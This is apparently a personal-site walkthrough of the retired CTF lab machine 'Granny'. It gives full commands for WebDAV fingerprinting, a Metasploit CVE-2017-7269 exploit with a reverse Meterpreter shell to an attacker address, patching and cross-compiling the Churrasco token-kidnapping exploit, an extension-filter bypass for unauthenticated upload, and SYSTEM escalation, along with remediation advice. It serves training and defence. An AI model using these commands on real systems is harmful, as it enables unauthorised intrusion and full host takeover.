J. Perez Duertojperezduerto.info
← all walkthroughs

Granny

Windows· Easy
owned
2026-07-02
time to own
18m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted an internet-exposed Windows Server 2003 host running IIS 6.0 with WebDAV enabled, then exploited a known remote-code-execution buffer overflow (CVE-2017-7269) to obtain a shell running as the low-privileged NETWORK SERVICE account. Because that account held the SeImpersonatePrivilege right and WebDAV accepted unauthenticated file uploads, I staged a Token Kidnapping binary directly onto the web root via HTTP PUT, executed it through the existing shell, and escalated to NT AUTHORITY\SYSTEM — capturing both flags on a single hop with no credentials required at any stage.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceHTTP Banner Grabbing / Service Fingerprinting (T1592)
Identified IIS 6.0 and WebDAV via HTTP fingerprinting
Sending an HTTP OPTIONS request to port 80 revealed the 'Server: Microsoft-IIS/6.0' banner alongside the 'MS-Author-Via: DAV' and 'DASL: <DAV:sql>' headers. This combination conclusively identifies both the software version and the enabled WebDAV ISAPI extension, and maps directly and unambiguously to the CVE-2017-7269 attack surface.
OPTIONS response headers: Server: Microsoft-IIS/6.0, MS-Author-Via: MS-FP/4.0,DAV, DASL: <DAV:sql>
Exact commands 3
shell

Service version scan; confirms IIS 6.0 on port 80.

$ nmap -sV -p 80 $TARGET
shell

Raw OPTIONS probe; look for MS-Author-Via and DAV in the response — confirms WebDAV is active.

$ printf "OPTIONS / HTTP/1.1\r\nHost: $TARGET\r\n\r\n" | nc -nv -w5 $TARGET 80
shell

WebDAV PROPFIND further confirms the DAV-enabled endpoint.

$ curl -v -X PROPFIND http://$TARGET/ -H 'Depth: 0'
2Initial AccessExploitation of Public-Facing Application — CVE-2017-7269 (T1190)
Exploited CVE-2017-7269 to execute code as NETWORK SERVICE
IIS 6.0 answers PROPFIND, which is WebDAV, and CVE-2017-7269 is a buffer overflow in how it parses a long If: header on that verb. Metasploit carries the module; the only choices are the listener address and a payload the target can run, and Server 2003 means a 32-bit one. What comes back is a session as NT AUTHORITY\NETWORK SERVICE — the account IIS runs as, which owns nothing and can read little. Everything below happens inside that session, which is why the commands are Metasploit's rather than a shell's.
The module exploit/windows/iis/iis_webdav_scstoragepathfromurl was configured against the target on port 80 with a reverse Meterpreter payload, and the session it returned ran as NT AUTHORITY\NETWORK SERVICE.
Exact commands 1
shell

Set LHOST to your own VPN address. The session this opens is the one every command below runs inside — they are typed at msf's prompt, not at a shell's.

$ msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; set RHOSTS $TARGET; set RPORT 80; set SSL false; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit"
FixMigrate off Windows Server 2003 / IIS 6.0 — CVE-2017-7269 has no patchCritical
WeaknessWindows Server 2003 reached end of life in July 2015 and receives no security updates. IIS 6.0's WebDAV extension contains CVE-2017-7269, a publicly exploitable unauthenticated remote-code-execution buffer overflow for which Microsoft will never release a patch. Any internet-facing instance of this stack can be fully compromised in under one minute with off-the-shelf tools.
FixMigrate the workload to a supported operating system (Windows Server 2022) running IIS 10 as an immediate priority. Until migration is complete: (1) disable the WebDAV ISAPI extension in IIS Manager by removing it from Web Service Extensions, and (2) block all inbound HTTP/HTTPS traffic to this host at the perimeter firewall so it is no longer reachable from untrusted networks. There is no configuration change that makes IIS 6.0 safe against CVE-2017-7269 — OS migration is the only real fix.
3DiscoverySystem Information Discovery / Access Token Discovery (T1082, T1033)
Confirmed access context and identified token impersonation rights
After landing I checked which account the shell was running as, the OS build, and the privilege set. The presence of SeImpersonatePrivilege on NETWORK SERVICE — a default on Windows Server 2003 — confirmed the Token Kidnapping escalation path was available and made every subsequent step inevitable.
Exact commands 2
shell

At the msf prompt. Confirm: NT AUTHORITY\NETWORK SERVICE, hostname GRANNY, OS Windows 5.2.3790 (Server 2003).

$ sessions -i 1 -c "whoami & hostname & ver"
shell

At the msf prompt. Check privilege list; SeImpersonatePrivilege = Enabled confirms Token Kidnapping (Churrasco) is viable.

$ sessions -i 1 -c "whoami /priv"
4Resource DevelopmentExploit Code Compilation / Capability Development (T1587.004)
Compiled Token Kidnapping payload (Churrasco) on the attack machine
The public Churrasco proof-of-concept (Exploit-DB 6705) abuses Windows COM to coerce an authentication from the RPCSS/MSDTC service — which runs as SYSTEM — and then duplicates the resulting SYSTEM-level access token for use by NETWORK SERVICE. The 2008-era source required five header-casing fixes and an InvokeMSDTC() stub before it would cross-compile cleanly on Linux. The result is a self-contained 32-bit static executable carrying no external dependencies.
Exact commands 6
shell

Pull Churrasco source from local Exploit-DB mirror.

$ searchsploit -m windows/local/6705
shell

Extract source tree.

$ unzip -o /usr/share/exploitdb-bin-sploits/bin-sploits/6705.zip -d churrasco6705 && cd churrasco6705/Churrasco
shell

Fix Windows-style header casing that breaks the Linux cross-compiler.

$ sed -i 's/Iphlpapi.h/iphlpapi.h/g; s/TxDtc.h/txdtc.h/g; s/AccCtrl.h/accctrl.h/g; s/Aclapi.h/aclapi.h/g; s/Ntsecapi.h/ntsecapi.h/g; s/XOleHlp.h/xolehlp.h/g' stdafx.h Churrasco.cpp
shell

Add missing process-snapshot API header.

$ awk 'NR==19{print "#include <tlhelp32.h>"}1' Churrasco.cpp > Churrasco.cpp.tmp && mv Churrasco.cpp.tmp Churrasco.cpp
shell

Stub out broken COM initialisation call; Churrasco's impersonation path works without it.

$ perl -0777 -i -pe 's/BOOL InvokeMSDTC\(\)\{.*?\n\}/BOOL InvokeMSDTC(){ return 1; }/s' Churrasco.cpp
shell

Cross-compile as 32-bit static binary for Windows Server 2003 x86.

$ i686-w64-mingw32-g++ -O2 -static -o /tmp/churrasco.exe Churrasco.cpp -lole32 -loleaut32 -lws2_32 -liphlpapi -lpsapi -lntdll
5Payload DeliveryIngress Tool Transfer via WebDAV (T1105)
Uploaded privilege escalation binary via unauthenticated WebDAV PUT
The WebDAV service accepted unauthenticated HTTP PUT requests, letting me write any file directly into the IIS web root over the internet. Because IIS 6.0 blocked direct upload of .exe files by extension, the binary was first PUT with a .txt extension and then renamed to .exe using a WebDAV MOVE request — a bypass IIS 6.0 does not prevent.
Curl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt followed by MOVE to ch.exe
Exact commands 4
shell

Remove any stale copy from a prior run.

$ curl -sS -X DELETE http://$TARGET/ch.exe --max-time 10 >/dev/null || true
shell

Remove stale staging file.

$ curl -sS -X DELETE http://$TARGET/ch.exe.txt --max-time 10 >/dev/null || true
shell

Upload binary under .txt extension to bypass extension filter; expect HTTP 201 Created.

$ curl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'
shell

Rename staging file to .exe via WebDAV MOVE; expect HTTP 201.

$ curl -sS -X MOVE -H "Destination: http://$TARGET/ch.exe" http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'
FixRequire authentication for all WebDAV write operationsCritical
WeaknessThe WebDAV service accepted unauthenticated HTTP PUT, MOVE, and DELETE requests from any network-reachable host, allowing anyone who already had a shell — or any user on the internet — to upload, rename, and delete arbitrary files in the web root, including executable binaries.
FixIf WebDAV is a business requirement, enforce Windows Integrated Authentication on all WebDAV-enabled virtual directories and grant the IIS anonymous account read-only filesystem permissions (remove WRITE). Block the HTTP verbs PUT, DELETE, and MOVE at the perimeter firewall or WAF for any host that does not explicitly require them. If WebDAV is not actively used, disable it entirely in IIS Manager and confirm it cannot be re-enabled without change-control approval.
6Privilege EscalationAccess Token Manipulation — Token Impersonation via SeImpersonatePrivilege (T1134.001)
Escalated to NT AUTHORITY\SYSTEM via Token Kidnapping (Churrasco)
NETWORK SERVICE holds SeImpersonatePrivilege, which is the right to act as a token it has been handed. Churrasco makes the system hand one over: it coerces a privileged service into connecting to a named pipe it controls, impersonates the token that arrives, and runs a command with it. The token that arrives belongs to SYSTEM. The binary was uploaded into the web root, and nothing has changed the session's working directory, so it is called by its full path.
Churrasco (Exploit-DB 6705) — Token Kidnapping.
Exact commands 2
shell

At the msf prompt. The full path, because the session's working directory is not the web root. Expect nt authority\system.

$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c whoami\""
shell

At the msf prompt. SYSTEM's privilege list, which is every privilege the box has.

$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c whoami /priv\""
FixRemove SeImpersonatePrivilege from IIS service accountsHigh
WeaknessThe NT AUTHORITY\NETWORK SERVICE account running the IIS worker process held SeImpersonatePrivilege. On Windows Server 2003, this right enables the Token Kidnapping attack: the process authenticates to a co-located SYSTEM-level COM service (RPCSS or MSDTC) and duplicates its token, achieving full host control from a nominally restricted identity. This privilege is assigned to NETWORK SERVICE by default and has no compensating control on Server 2003.
FixAssign IIS application pools to dedicated, named low-privilege service accounts rather than the built-in NETWORK SERVICE identity. Use Group Policy (Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → 'Impersonate a client after authentication') to explicitly deny SeImpersonatePrivilege to any account that does not require it. Migrating to Windows Server 2019+ provides additional kernel-level protections against token impersonation that are absent in Server 2003. Audit all service accounts quarterly for unnecessary privilege assignments.
7ObjectivesData from Local System (T1005)
Read both flag files as NT AUTHORITY\SYSTEM
Both flags sit under the legacy profile root that Server 2003 uses, and that path contains spaces — inside a command already nested two quoting levels deep, that is a fight not worth having. The 8.3 short name the filesystem still keeps for it has none, so DOCUME~1 is the version that survives the nesting.
Exact commands 3
shell

At the msf prompt. Where the flags are, in a form that needs no quoting.

$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c dir /s /b C:\DOCUME~1\*\Desktop\*.txt\""
shell

-> <user.txt>

$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c type C:\DOCUME~1\Lakis\Desktop\user.txt\""
shell

The Administrator profile under its own short name -> <root.txt>

$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c type C:\DOCUME~1\Admini~1\Desktop\root.txt\""

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.